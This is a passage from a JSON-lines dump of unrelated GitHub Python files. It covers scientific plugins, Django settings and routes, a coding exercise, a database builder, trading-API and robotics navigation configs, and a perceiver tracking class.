EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doSuccessSetMetadata\")\n self.retrieveSuccessMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doSuccessSetMetadata\")\n\n self.xsdResult.setAveragedImage(self.dataInput.getAveragedImage())\n self.strProcessLog += \"Conversion to 3-column ascii file: '%s'\\n\" % (self.averagedCurve)\n xsdiAsciiExport = XSDataInputBioSaxsAsciiExportv1_0()\n xsdiAsciiExport.setIntegratedImage(self.dataInput.getAveragedImage())\n xsdiAsciiExport.setIntegratedCurve(self.dataInput.getAveragedCurve())\n self.__edPluginAsciiExport.setDataInput(xsdiAsciiExport)\n self.__edPluginAsciiExport.connectSUCCESS(self.doSuccessAsciiExport)\n self.__edPluginAsciiExport.connectFAILURE(self.doFailureAsciiExport)\n self.__edPluginAsciiExport.executeSynchronous()\n\n\n def doFailureSetMetadata(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doFailureSetMetadata\")\n self.retrieveFailureMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doFailureSetMetadata\")\n self.strProcessLog += \"Failure in appending metadata to '%s'\\n\" % (self.averagedImage)\n self.setFailure()\n\n\n def doSuccessAsciiExport(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doSuccessAsciiExport\")\n self.retrieveSuccessMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doSuccessAsciiExport\")\n self.xsdResult.setAveragedCurve(self.dataInput.getAveragedCurve())\n# self.strProcessLog += \"Successful Execution of EDPlugin BioSaxs Average v1_0\"\n\n def doFailureAsciiExport(self, _edPlugin=None):\n EDVerbose.DEBUG(\"EDPluginBioSaxsAveragev1_0.doFailureAsciiExport\")\n self.retrieveFailureMessages(_edPlugin, \"EDPluginBioSaxsAveragev1_0.doFailureAsciiExport\")\n self.strProcessLog += \"Error during the call of saxs_curves for the production of '%s'\\n\" % (self.averagedCurve)\n self.setFailure()\n\n","repo_name":"maaeli/edna","sub_path":"bioSaxsv1/plugins/EDPluginBioSaxsAveragev1_0.py","file_name":"EDPluginBioSaxsAveragev1_0.py","file_ext":"py","file_size_in_byte":14490,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"22873924440","text":"from .base import *\n\n\nfrom .base import *\nimport json\n\n\nwith open(\"config.json\", \"r\") as params:\n parameters = json.load(params)\n\nDEBUG = True\n\nALLOWED_HOSTS = ['*']\n\n\n# Application definition\n\nINSTALLED_APPS += [\n]\n\nMIDDLEWARE += [\n]\n\n\n \n# Database\n# https://docs.djangoproject.com/en/3.0/ref/settings/#databases\n\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.mysql',\n 'NAME': 'sbt',\n 'USER': 'root',\n 'PASSWORD': '',\n 'HOST': 'localhost',\n 'PORT': '3306',\n 'OPTIONS': {\n 'sql_mode':'STRICT_TRANS_TABLES',\n },\n }\n}\n\n\n","repo_name":"cypher-ravi/sbtpro","sub_path":"sbt/settings/development.py","file_name":"development.py","file_ext":"py","file_size_in_byte":608,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"33419267889","text":"def solution(rows, columns, queries):\r\n answer = []\r\n cnt = 0\r\n mat = [[i*columns + j for j in range(1,columns+1) ] for i in range(rows)] \r\n for i in mat :\r\n print(i)\r\n for q in queries:\r\n x1,y1,x2,y2 = q[0] - 1, q[1] - 1, q[2] - 1, q[3] - 1\r\n tmp = mat[x1][y2]\r\n tmp2 = mat[x2][y1]\r\n for i in range(y1,y2) :\r\n mat[x1][y1+y2-i] = mat[x1][y1+y2-i-1]\r\n mat[x2][i]=mat[x2][i+1]\r\n\r\n for i in range(x1+1,x2) :\r\n mat[i-1][y1] = mat[i][y1]\r\n mat[x1+x2+1-i][y2] = mat[x1+x2-i][y2]\r\n mat[x1+1][y2] = tmp\r\n mat[x2-1][y1] = tmp2\r\n print(' ')\r\n for i in mat :\r\n print(i)\r\n \r\n return answer\r\n\r\nsolution(\t6, 6, [[2, 2, 5, 4], [3, 3, 6, 6], [5, 1, 6, 3]])","repo_name":"woongjoonchoi/CodingTest","sub_path":"programeers/2021devBackendmathcing/dd.py","file_name":"dd.py","file_ext":"py","file_size_in_byte":792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"36234966206","text":"import csv\nimport sqlite3\n\n\ndef create_food_tables():\n with sqlite3.connect('food_db.db') as conn:\n c = conn.cursor()\n\n # Create tables\n c.execute('''CREATE TABLE IF NOT EXISTS usda_food_mapping\n (usda_food_id int primary key, food_name text unique)''')\n\n c.execute('''CREATE TABLE IF NOT EXISTS usda_nutrient_mapping\n (usda_nutrient_id int primary key, units text, tagname text, nutrient_name text,\n num_dec int, sr_order int)''')\n\n c.execute('''CREATE TABLE IF NOT EXISTS food_nutrient\n (usda_food_id int, usda_nutrient_id int, nutrient_value num, UNIQUE(usda_food_id, usda_nutrient_id))''')\n\n print('USDA tables created.')\n\n # static mapping of the ids USDA uses for nutrients to the \"label\" name\n try:\n with open(r'usda\\NUTR_DEF.csv', 'r') as f:\n content = csv.DictReader(f, delimiter=',')\n\n for line in content:\n vals = (line['Nutr_No'], line['Units'], line['Tagname'],\n line['NutrDesc'], line['Num_Dec'], line['SR_Order'])\n\n try:\n c.execute('INSERT INTO usda_nutrient_mapping'\n '(usda_nutrient_id, units, tagname,nutrient_name, num_dec, sr_order)'\n 'VALUES (?,?,?,?,?,?)', vals)\n except:\n c.execute('UPDATE usda_nutrient_mapping '\n 'SET units = ?, tagname = ?, nutrient_name = ?, num_dec = ?, sr_order = ?'\n 'WHERE usda_nutrient_id = ?', (vals[1], vals[2], vals[3], vals[4], vals[5], vals[0]))\n except:\n print('Failed to load USDA nutrient mapping definitions.')\n raise\n\n conn.commit()\n\n\ndef create_ibfrelief_tables(file_path):\n with sqlite3.connect('food_db.db') as conn:\n c = conn.cursor()\n\n query = open(file_path, 'r').read().split(';')\n for command in query:\n try:\n c.execute(command)\n except sqlite3.OperationalError as e:\n print('Command skipped: ', e)\n except sqlite3.IntegrityError as e:\n # UNIQUE constraint will be failed on loadings after the 1st\n pass\n\n conn.commit()\n\n\nif __name__ == '__main__':\n create_food_tables()\n\n create_ibfrelief_tables('ibdrelief\\\\users_to_foods.sql')\n create_ibfrelief_tables('ibdrelief\\\\foods.sql')\n create_ibfrelief_tables('ibdrelief\\\\food_categories.sql')\n","repo_name":"ZaxR/ibd_diet_analysis","sub_path":"db_builder.py","file_name":"db_builder.py","file_ext":"py","file_size_in_byte":2618,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"68"} +{"seq_id":"73682532377","text":"import argparse\nimport json\nfrom pathlib import Path\nfrom typing import List\n\nimport pandas as pd\nfrom experiment import AVAILABLE_TARGET\nfrom sklearn.metrics import balanced_accuracy_score\n\n\ndef type_float_list(args) -> List[str]:\n return args.split(',')\n\n\ndef ensemble_args(parser):\n ensemble_parser = parser.add_argument_group('aggregate arguments')\n ensemble_parser.add_argument('--expt-id')\n ensemble_parser.add_argument('--target', choices=AVAILABLE_TARGET)\n ensemble_parser.add_argument('--manifest-path', default='lab/labels_mean_diff.csv')\n\n return parser\n\n\ndef ensemble_stories(cfg):\n expt_id = cfg['expt_id'] + '_' + cfg['target']\n expt_out_dir = Path(__file__).resolve().parents[1] / 'output' / expt_id\n \n target2col = {'valence': 'V_cat_no', 'arousal': 'A_cat_no'}\n\n with open(expt_out_dir / 'best_parameters.txt', 'r') as f:\n best_pattern = json.load(f)\n val_pred_path = expt_out_dir / f\"{'_'.join([str(p).replace('/', '-') for p in best_pattern.values()])}_val_pred.csv\"\n val_pred = pd.read_csv(val_pred_path)\n print(val_pred.describe())\n label_df = pd.read_csv(Path(__file__).resolve().parents[1] / 'lab/labels.csv')\n val_labels = label_df.loc[label_df['partition'] == 'devel', target2col[cfg['target']]].astype(int)\n print(val_labels.describe())\n print(balanced_accuracy_score(val_labels, val_pred))\n a = ''\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='aggregate arguments')\n cfg = vars(ensemble_args(parser).parse_args())\n ensemble_stories(cfg)\n","repo_name":"koike-ya/ComParE","sub_path":"elderly/tasks/ensemble_stories.py","file_name":"ensemble_stories.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"10570628472","text":"import yaml\nimport os\nimport sys\nimport v20\n\n\nclass Config(object):\n \"\"\"\n The Config object encapsulates all of the configuration required to create\n a v20 API context and configure it to work with a specific Account.\n\n Using the Config object enables the scripts to exist without many command\n line arguments (host, token, accountID, etc)\n \"\"\"\n\n def __init__(self):\n \"\"\"\n Initialize an empty Config object\n \"\"\"\n self.hostname = None\n self.streaming_hostname = None\n self.port = 443\n self.ssl = True\n self.token = None\n self.username = None\n self.accounts = []\n self.active_account = None\n self.path = None\n self.datetime_format = \"RFC3339\"\n\n def __str__(self):\n \"\"\"\n Create the string (YAML) representation of the Config instance\n \"\"\"\n\n s = \"\"\n s += \"hostname: {}\\n\".format(self.hostname)\n s += \"streaming_hostname: {}\\n\".format(self.streaming_hostname)\n s += \"port: {}\\n\".format(self.port)\n s += \"ssl: {}\\n\".format(str(self.ssl).lower())\n s += \"token: {}\\n\".format(self.token)\n s += \"username: {}\\n\".format(self.username)\n s += \"datetime_format: {}\\n\".format(self.datetime_format)\n s += \"accounts:\\n\"\n for a in self.accounts:\n s += \"- {}\\n\".format(a)\n s += \"active_account: {}\".format(self.active_account)\n\n return s\n\n def load(self, path=\".v20.conf\"):\n \"\"\"\n Load the YAML config representation from a file into the Config\n instance\n\n Args:\n path: The location to read the config YAML from\n \"\"\"\n\n self.path = path\n\n try:\n with open(os.path.expanduser(path)) as f:\n y = yaml.load(f, Loader=yaml.FullLoader)\n self.hostname = y.get(\"hostname\", self.hostname)\n self.streaming_hostname = y.get(\"streaming_hostname\",\n self.streaming_hostname)\n self.port = y.get(\"port\", self.port)\n self.ssl = y.get(\"ssl\", self.ssl)\n self.username = y.get(\"username\", self.username)\n self.token = y.get(\"token\", self.token)\n self.accounts = y.get(\"accounts\", self.accounts)\n self.active_account = y.get(\"active_account\",\n self.active_account)\n self.datetime_format = y.get(\"datetime_format\",\n self.datetime_format)\n except Exception:\n raise ConfigPathError(path)\n\n def create_context(self):\n \"\"\"\n Initialize an API context based on the Config instance\n \"\"\"\n ctx = v20.Context(self.hostname,\n self.port,\n self.ssl,\n application=\"sample_code\",\n token=self.token,\n datetime_format=self.datetime_format)\n\n return ctx\n\n def __str__(self):\n return f\"Config({self.token,self.username,self.streaming_hostname,self.accounts})\"\n\n def create_streaming_context(self):\n \"\"\"\n Initialize a streaming API context based on the Config instance\n \"\"\"\n # ctx_stream = v20.Context(hostname=self.streaming_hostname,\n # port=self.port, ssl=self.ssl,\n # token=self.token\n # )\n ctx = v20.Context(\n self.streaming_hostname,\n self.port,\n self.ssl,\n # application=\"sample_code\",\n token=self.token,\n datetime_format=self.datetime_format)\n # print(ctx.pricing.stream(accountID=self.accounts[0],instruments='USD_EUR'))\n\n return ctx\n\n\nclass ConfigPathError(Exception):\n \"\"\"\n Exception that indicates that the path specified for a v20 config file\n location doesn't exist\n \"\"\"\n\n def __init__(self, path):\n self.path = path\n\n def __str__(self):\n return \"Config file '{}' could not be loaded.\".format(self.path)","repo_name":"P1YU5H-50N1/ORBitrage","sub_path":"configure.py","file_name":"configure.py","file_ext":"py","file_size_in_byte":4155,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"107203592","text":"from typing import Dict, Any, List, Optional\nimport abc\n\nimport torch\nimport torch.optim as optim\nfrom torch.optim.lr_scheduler import LambdaLR\n\nfrom core.base_abstractions.experiment_config import ExperimentConfig\nfrom utils.experiment_utils import Builder, PipelineStage, TrainingPipeline, LinearDecay\nfrom core.algorithms.onpolicy_sync.losses import PPO\nfrom core.algorithms.onpolicy_sync.losses.ppo import PPOConfig\n\n\nclass NavBaseConfig(ExperimentConfig, abc.ABC):\n \"\"\"A Navigation base configuration in RoboTHOR.\"\"\"\n\n TRAIN_SCENES = [\n \"FloorPlan_Train%d_%d\" % (wall + 1, furniture + 1)\n for wall in range(12)\n for furniture in range(5)\n ][:1]\n\n # VALID_SCENES = [\n # \"FloorPlan_Val%d_%d\" % (wall + 1, furniture + 1)\n # for wall in range(3)\n # for furniture in range(5)\n # ]\n VALID_SCENES = TRAIN_SCENES\n\n # TEST_SCENES = [\n # \"FloorPlan_test-dev%d_%d\" % (wall + 1, furniture + 1)\n # for wall in range(2)\n # for furniture in range(2)\n # ]\n\n MAX_STEPS: int\n ADVANCE_SCENE_ROLLOUT_PERIOD = 10000000000000 # if more than 1 scene per worker\n\n VALIDATION_SAMPLES_PER_SCENE = 16\n\n NUM_PROCESSES = 56 if torch.cuda.is_available() else 4\n\n VISION_UUID: str\n TARGET_UUID: str\n\n ENV_ARGS: Dict\n\n @classmethod\n def training_pipeline(cls, **kwargs):\n ppo_steps = int(1e6)\n return TrainingPipeline(\n save_interval=200000,\n metric_accumulate_interval=1,\n optimizer_builder=Builder(optim.Adam, dict(lr=3e-4)),\n num_mini_batch=2,\n update_repeats=3,\n max_grad_norm=0.5,\n num_steps=30,\n named_losses={\"ppo_loss\": Builder(PPO, kwargs={}, default=PPOConfig,)},\n gamma=0.99,\n use_gae=True,\n gae_lambda=0.95,\n advance_scene_rollout_period=cls.ADVANCE_SCENE_ROLLOUT_PERIOD,\n pipeline_stages=[\n PipelineStage(loss_names=[\"ppo_loss\"], max_stage_steps=ppo_steps)\n ],\n lr_scheduler_builder=Builder(\n LambdaLR, {\"lr_lambda\": LinearDecay(steps=ppo_steps)}\n ),\n )\n\n def split_num_processes(self, ndevices, nprocesses=None):\n if nprocesses is None:\n nprocesses = self.NUM_PROCESSES\n assert nprocesses >= ndevices, \"NUM_PROCESSES {} < ndevices {}\".format(\n nprocesses, ndevices\n )\n res = [0] * ndevices\n for it in range(nprocesses):\n res[it % ndevices] += 1\n return res\n\n def machine_params(self, mode=\"train\", **kwargs):\n if mode == \"train\":\n gpu_ids = (\n [\"cpu\"]\n if not torch.cuda.is_available()\n else list(range(torch.cuda.device_count()))\n )\n nprocesses = self.split_num_processes(len(gpu_ids))\n elif mode == \"valid\":\n gpu_ids = (\n [\"cpu\"]\n if not torch.cuda.is_available()\n else [torch.cuda.device_count() - 1]\n )\n nprocesses = 1\n elif mode == \"test\":\n gpu_ids = (\n [\"cpu\"]\n if not torch.cuda.is_available()\n else list(range(torch.cuda.device_count()))\n )\n nprocesses = self.split_num_processes(len(gpu_ids))\n else:\n raise NotImplementedError(\"mode must be 'train', 'valid', or 'test'.\")\n\n return {\n \"nprocesses\": nprocesses,\n \"gpu_ids\": gpu_ids,\n }\n\n @abc.abstractmethod\n def _get_sampler_args_for_scene_split(\n self,\n scenes: List[str],\n process_ind: int,\n total_processes: int,\n seeds: Optional[List[int]] = None,\n deterministic_cudnn: bool = False,\n ) -> Dict[str, Any]:\n raise NotImplementedError()\n\n def train_task_sampler_args(\n self,\n process_ind: int,\n total_processes: int,\n devices: Optional[List[int]] = None,\n seeds: Optional[List[int]] = None,\n deterministic_cudnn: bool = False,\n ) -> Dict[str, Any]:\n res = self._get_sampler_args_for_scene_split(\n self.TRAIN_SCENES,\n process_ind,\n total_processes,\n seeds=seeds,\n deterministic_cudnn=deterministic_cudnn,\n )\n res[\"scene_period\"] = \"manual\"\n res[\"env_args\"] = {}\n res[\"env_args\"].update(self.ENV_ARGS)\n res[\"env_args\"][\"x_display\"] = (\n (\"0.%d\" % devices[process_ind % len(devices)])\n if devices is not None and len(devices) > 0\n else None\n )\n res[\"allow_flipping\"] = True\n return res\n\n def valid_task_sampler_args(\n self,\n process_ind: int,\n total_processes: int,\n devices: Optional[List[int]] = None,\n seeds: Optional[List[int]] = None,\n deterministic_cudnn: bool = False,\n ) -> Dict[str, Any]:\n res = self._get_sampler_args_for_scene_split(\n self.VALID_SCENES,\n process_ind,\n total_processes,\n seeds=seeds,\n deterministic_cudnn=deterministic_cudnn,\n )\n res[\"scene_period\"] = self.VALIDATION_SAMPLES_PER_SCENE\n res[\"max_tasks\"] = self.VALIDATION_SAMPLES_PER_SCENE * len(res[\"scenes\"])\n res[\"env_args\"] = {}\n res[\"env_args\"].update(self.ENV_ARGS)\n res[\"env_args\"][\"x_display\"] = (\n (\"0.%d\" % devices[process_ind % len(devices)])\n if devices is not None and len(devices) > 0\n else None\n )\n return res\n\n def test_task_sampler_args(\n self,\n process_ind: int,\n total_processes: int,\n devices: Optional[List[int]] = None,\n seeds: Optional[List[int]] = None,\n deterministic_cudnn: bool = False,\n ) -> Dict[str, Any]:\n return self.valid_task_sampler_args(\n process_ind, total_processes, devices, seeds, deterministic_cudnn\n )\n","repo_name":"colinmatthewgeorge87/allenact","sub_path":"plugins/robothor_plugin/configs/nav_base.py","file_name":"nav_base.py","file_ext":"py","file_size_in_byte":6026,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"68"} +{"seq_id":"71426821658","text":"\"\"\"\n연습문제 2(Page 15) : 보급형 막대 차트\n- 문자열을 인자로 받아 각 문자에 대한 막대 그래프를 출력\n\"\"\"\nimport pprint\nfrom collections import defaultdict\n\nALPHABET = 'abcdefghijklmnopqrstuvwxyz'\n\n\ndef print_character_chart(statement):\n \"\"\" 문자 막대 차트 출력 함수 \"\"\"\n # alphabet_chart[문자] : 해당 문자에 대한 리스트\n alphabet_chart = defaultdict(list)\n\n # 문장 순회\n for char in statement:\n lower_case = char.lower()\n if lower_case in ALPHABET:\n alphabet_chart[lower_case].append(lower_case)\n\n # 차트 출력\n pprint.pprint(alphabet_chart, width=110)\n\n\ndef etaoin_chart():\n \"\"\" 프로젝트 메인 함수 \"\"\"\n # 만족하는 이름이 나올 때까지 반복\n while True:\n # 프로그램 도입부\n statement = input(\"Enter a statement : \")\n\n # 함수 호출\n print_character_chart(statement)\n\n # 만족하는지 입력\n try_again = input(\"Try again? (Press Enter else q to quit) : \")\n if try_again.lower() == \"q\":\n break\n\n\nif __name__ == \"__main__\":\n etaoin_chart()\n","repo_name":"yoonjeong-choi-dev/study-history","sub_path":"ComputerScience/Extra/ImpracticalPythonProjects/Proj1_FunnyNameCreator/exercise2_etaoin_chart.py","file_name":"exercise2_etaoin_chart.py","file_ext":"py","file_size_in_byte":1149,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"68"} +{"seq_id":"945439871","text":"#!/usr/bin/env python2.7\n# -*- coding: utf-8 -*-\n\n\"\"\"\nurly.py to allow tests in travis-ci\n\"\"\"\n\nfrom django.conf.urls import url, include\n\nurlpatterns = [\n '',\n url('^user/', include('userprofile.urls', namespace='user')),\n url('', include('social.apps.django_app.urls', namespace='social'))\n]\n","repo_name":"andreasofthings/userprofile","sub_path":"tests/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"8351284317","text":"#============================ perceiver.simple ===========================\n#\n#\n# @brief A simple and general interface class for hierachically detection and tracking\n# based on RGB-D data\n#\n# The interface that first detection the target from RGB-D data and then\n# find the tracker points.\n#\n# Currently, the detection process is also assumed to be hierachical:\n# RGB detector -> RGB post-process -> D(depth) detector -> D post-process\n# The default methods of all above steps are doing nothing\n#\n# Dependencies:\n# [function]setIfMissing Yiye's generalized version\n#\n#\n#\n# @file simple.m\n#\n# @author Yiye Chen, yychen2019@gatech.edu\n# Yunzhi Lin, yunzhi.lin@gatech.edu\n# @date 2021/04/05 [created]\n# 2021/07/11 [modified]\n#!NOTE:\n#! set indent to 2 spaces.\n#! do not indent function code.\n#! set tab to 4 spaces with conversion to spaces.\n#! 90 columns \n#\n#============================ perceiver.simple ===========================\n\n# Import any necessary libraries/packages.\n\nimport os\nimport matplotlib.pyplot as plt\nimport time\nimport numpy as np\nfrom dataclasses import dataclass\n\nfrom Lie.group.SE2.Homog import Homog\n\n@dataclass\nclass State:\n tMeas: any\n g: Homog = None\n tPts: np.ndarray = np.array([])\n gOB: Homog = None\n haveObs: bool = False\n haveState: bool = False\n\n@dataclass\nclass Params:\n display: any = None\n version: any = None\n\n@dataclass\nclass Info:\n name: str\n version: str\n data: str\n time: str\n params: Params\n\n# Class description\nclass simple(object):\n\n #=============================== simple ==============================\n #\n # @brief Constructor for the perceiver.simple class.\n #\n # @todo Make theParams a config instance.\n # @param[in] theParams Option set of paramters. (SHOULD BE A CONFIG)\n # @param[in] theDetector The binary segmentation method.\n # @param[in] theTracker The binary image trackpoint method.\n # @param[in] trackFilter The track point filtering / data association approach.\n #\n def __init__(self, theParams, theDetector, theTracker, trackFilter):\n\n self.detector = theDetector\n self.tracker = theTracker\n self.filter = trackFilter\n\n if theParams:\n self.params = theParams\n else:\n self.params = simple.defaultParams()\n\n # states\n self.tPts = None\n self.haveRun = False #< Was an observation measured? - e.g. detect a tracker\n self.haveObs = False #< Do we have a state estimate? - e.g. human activity\n self.haveState = False #< Has not been run before.\n\n # data storage\n self.I = None\n\n # results. e.g., tpt of the trackpointers class\n self.tMeas = None #< The last measured track state of the target.\n\n # @note Aren't tPts and tMeas the same? I think so. tMeas is\n # the revised name for tPts if I am not mistaken. Review code to\n # see if use indicates different functionality. If not, then please\n # have all be consistently named.\n\n # Process the run-time parameters.\n # Code missing.\n\n\n #================================ set ================================\n #\n # @brief Set the state or parameters of the rigid body tracker.\n #\n # @param[in] fname Name of the field to set.\n # @param[in] fval Value to set.\n # \n def set(self, fname, fval):\n\n if fname == 'state':\n self.setState(fval)\n\n\n #================================ get ================================\n #\n # @brief Get the state or parameters of the tracker.\n #\n # @param[in] fname Name of the field to set.\n #\n # @param[out] fval Value returned.\n #\n def get(self, fname):\n\n if fname == 'state':\n fval = self.getState()\n elif fname == 'trackParams'or fname == 'params':\n fval = self.params\n else:\n fval = []\n\n return fval\n \n #============================== getState =============================\n #\n # @brief Returns the current state structure.\n # \n # @param cstate The current state structure.\n #\n def getState(self):\n\n # @todo\n # Not used yet\n # cstate.g = self.gFilter.getState()\n # cstate.gOB = self.gOB;\n\n cstate = State(tMeas = self.tMeas, haveObs = self.haveObs, haveState = self.haveState)\n\n return cstate\n\n #============================== setState =============================\n #\n # @brief Sets the state of the tracker.\n #\n # @param[in] nstate The new state structure.\n #\n def setState(self, nstate):\n\n # @todo\n # gFilter.setState(nstate.g) NEED TO RECONSIDER HOW DONE.\n # FOR NOW USING A PASS THROUGH BUT COMMENTING OUT.\n # self.tracker.setState(nstate)\n\n if nstate.tPts: # Permit empty: simply won't plot.\n self.tPts = nstate.tPts\n\n # @todo\n # Yiye had removed gOB. Not sure why. Bring back in when the\n # Lie group class package/namespace/library is up to date.\n #\n #if (isfield(nstate,'gOB') && ~isempty(nstate.gOB))\n # this.gOB = nstate.gOB\n #end\n\n self.haveObs = nstate.haveObs\n self.haveState = nstate.haveState\n\n \n #============================= emptyState ============================\n #\n # @brief Return state structure with no information.\n #\n # @param[out] estate The state structure with no content.\n #\n def emptyState(self):\n\n estate = State(haveObs=False, haveState=False)\n\n return estate\n\n #============================== process ==============================\n #\n # @brief Run the tracking pipeline for one step/image measurement.\n #\n def process(self, I):\n\n self.predict()\n self.measure(I)\n self.correct()\n self.adapt()\n\n #============================ displayState ===========================\n #\n def displayState(self, dState=None):\n\n if not isinstance(dState,State):\n dState = self.getState()\n \n self.tracker.displayState()\n\n if self.params.display:\n if self.params.dispargs:\n self.params.display(dState, self.params.dispargs)\n else:\n self.params.display(dState)\n\n \n\n #============================ displayDebug ===========================\n #\n def displayDebug(self, fh, dbState):\n # Not implemented yet\n pass\n\n #================================ info ===============================\n #\n # @brief Return the information structure used for saving or\n # otherwise determining the tracker setup for\n # reproducibility.\n #\n # @param[out] tinfo The tracking configuration information structure.\n #\n def info(self):\n\n tinfo = Info(name=os.path.basename(__file__),\n version='1.0.0',\n data=time.strftime('%Y/%m/%d'),\n time=time.strftime('%H:%M:%S'),\n params=self.params)\n\n return tinfo\n\n #================================ free ===============================\n #\n # @brief Destructor. Just in case other stuff needs to be done.\n #\n def free(self):\n # Not implemented yet\n pass\n\n # @todo Eventually make these member functions protected and not public.\n\n #============================== predict ==============================\n #\n # @brief Predict next measurement, if applicable.\n #\n def predict(self):\n # Not implemented yet\n pass\n # NOTE: this predict is designed to be any separate predictor other\n # than that in the detector and tracker. the component\n # detector/tracker's predict (whole process) is executed in the\n # measure function\n\n #============================== measure ==============================\n #\n # @brief Recover track point or track frame based on detector +\n # trackPointer output.\n #\n #\n def measure(self, I):\n\n # @note\n # NOTE TO YUNZHI: DO NOT FOLLOW THE DESIGN PATTERN OF YIYE.\n # THE RGB-D DATA IS A UNIT AND GETS PROCESSED AS SUCH.\n # ANY NECESSARY DECOUPLED DETECTION AND POST-PROCESSING SHOULD RESIDE\n # IN THE DETECTOR USING A HIERARCHICAL STRATEGY. IF RGB-D IMAGERY IS\n # PROCESSED IN A SPECIAL WAY, THEN LET THE DETECTOR HANDLE IT.\n # IT MIGHT BE TWO SEPARATE A THREADS WITH A UNION OR INTERSECTION\n # OPERATION TO JOIN, OR IT MIGHT BE A SEQUENTIAL OPERATION. DO NOT\n # FOLLOW THE MATLAB CODE. \n #\n # IT UNDERMINES THE SIMPLICITY OF THE PROGRAMMING AND THE FLEXIBILITY\n # OF THE INTERFACE.\n \n #! Run measurement/processing.\n\n # Image-based detection and post processing.\n self.detector.process(I)\n\n # # @todo Not implemented yet\n # fgLayer = self.detector.getForeground()\n\n # Use Ip instead for now\n detState = self.detector.getState()\n fgLayer = detState.x\n\n # Tracking on binary segmentation mask.\n self.tracker.process(fgLayer)\n tstate = self.tracker.getState()\n\n if hasattr(tstate, 'g') and tstate.g is not None:\n self.tMeas = tstate.g\n elif hasattr(tstate, 'tpt') and tstate.tpt is not None:\n self.tMeas = tstate.tpt\n\n # @todo\n # MAYBE SHOULD JUST SET TO tstate IN CASE IT HAS EXTRA INFORMATION\n # THEN THIS CLASS JUST GRABS THE x FIELD. LET'S THE FIELD TAKE CARE\n # OF ITS OWN FUNCTIONALITY?\n #\n # YUNZHI: YES, GOING WITH THE ABOVE. IT MIGHT BREAK SOMETHING, BUT\n # THEN WE FIX IT. WILL REQUIRE A Euclidean CLASS OR A\n # Lie.group.Euclidean INSTANCE (which is really just a vector).\n # SHOULD BE QUICK TO CODE UP AT ITS MOST BASIC.\n\n # @todo\n # self.gFilter.correct(this.tMeas) # DO WE NEED A FILTER? WHY NOT IN TRACKPOINTER?\n \n # Set observation flag\n self.haveObs = not np.isnan(self.tMeas).any()\n\n #============================== correct ==============================\n #\n # @brief Correct the estimated state based on measured and predicted.\n #\n def correct(self):\n # Not implemented yet\n pass\n\n #=============================== adapt ===============================\n #\n # @brief Adapt parts of the process based on measurements and\n # corrections.\n #\n def adapt(self):\n # Not implemented yet\n pass\n\n #=========================== defaultParams ===========================\n #\n # @brief Set up default params\n #\n @staticmethod\n def defaultParams():\n\n params = Params()\n\n return params\n\n #=========================== displaySimple ===========================\n #\n # @brief Basic rigid body display routine. Plots SE(2) frame.\n #\n @staticmethod\n def displaySimple(cstate, dispArgs):\n # Not implemented yet\n pass\n\n #============================ displayFull ============================\n #\n # @brief Fill rigid body display routine. Plots SE(2) frame and\n # marker positions.\n #\n # @todo\n # This function has not been tested yet\n #\n @staticmethod\n def displayFull(cstate, dispArgs):\n\n gCurr = cstate.gOB * cstate.g\n\n if dispArgs.state:\n gCurr.plot(dispArgs.state)\n else:\n gCurr.plot()\n \n if dispArgs.plotAll and dispArgs.plotAll:\n plt.plot(cstate.tPts[0,:], cstate.tPts[1,:])\n \n if dispArgs.noTicks and dispArgs.noTicks:\n plt.tick_params(labelleft=False, labelbottom=False)\n\n plt.show()\n plt.pause(0.1)\n\n#\n#============================ simple ============================\n","repo_name":"ivapylibs/perceiver","sub_path":"perceiver/simple.py","file_name":"simple.py","file_ext":"py","file_size_in_byte":10994,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"68"} +{"seq_id":"832583677","text":"# encoding utf-8\n\nfrom filecmp import cmp\nfrom pickletools import optimize\nimport nltk\nfrom nltk.corpus import stopwords\nfrom nltk.stem import PorterStemmer\nimport pandas\nimport logging\nimport math\n\nclass UnionFindSet:\n def __init__(self, titles: set) -> None:\n self.father = {}\n for title in titles:\n self.father[title] = title\n\n def find(self, x: str) -> str:\n if(self.father[x] == x):\n return x\n else:\n self.father[x] = self.find(self.father[x])\n return self.father[x]\n\n def union(self, i: str, j: str) -> None:\n fx = self.find(i)\n fy = self.find(j)\n if(fx != fy):\n self.father[fx] = fy\n\nclass Distance:\n '''L1 norm distance'''\n\n def calc(self, a: dict, b: dict) -> float:\n c = a.keys() | b.keys()\n dis = 0.0\n for feature in c:\n tmp = 0.0\n if(feature in a):\n tmp += a[feature]\n if(feature in b):\n tmp -= b[feature]\n if(tmp < 0):\n tmp = -tmp\n dis += tmp\n return dis\n\nclass DistanceCos:\n '''cos distance'''\n \n def calc(self, a: dict, b: dict) -> float:\n c = a.keys() & b.keys()\n dis = 0.0\n for feature in c:\n dis += a[feature] * b[feature]\n # 过滤全0\n if(dis < 1e-9 and dis > -(1e-9)):\n return 1.0\n tmp = 0.0\n for feature in a.keys():\n tmp += a[feature] * a[feature]\n dis = dis / math.sqrt(tmp)\n tmp = 0.0\n for feature in b.keys():\n tmp += b[feature] * b[feature]\n dis = dis / math.sqrt(tmp)\n return 1.0 - dis\n\nclass 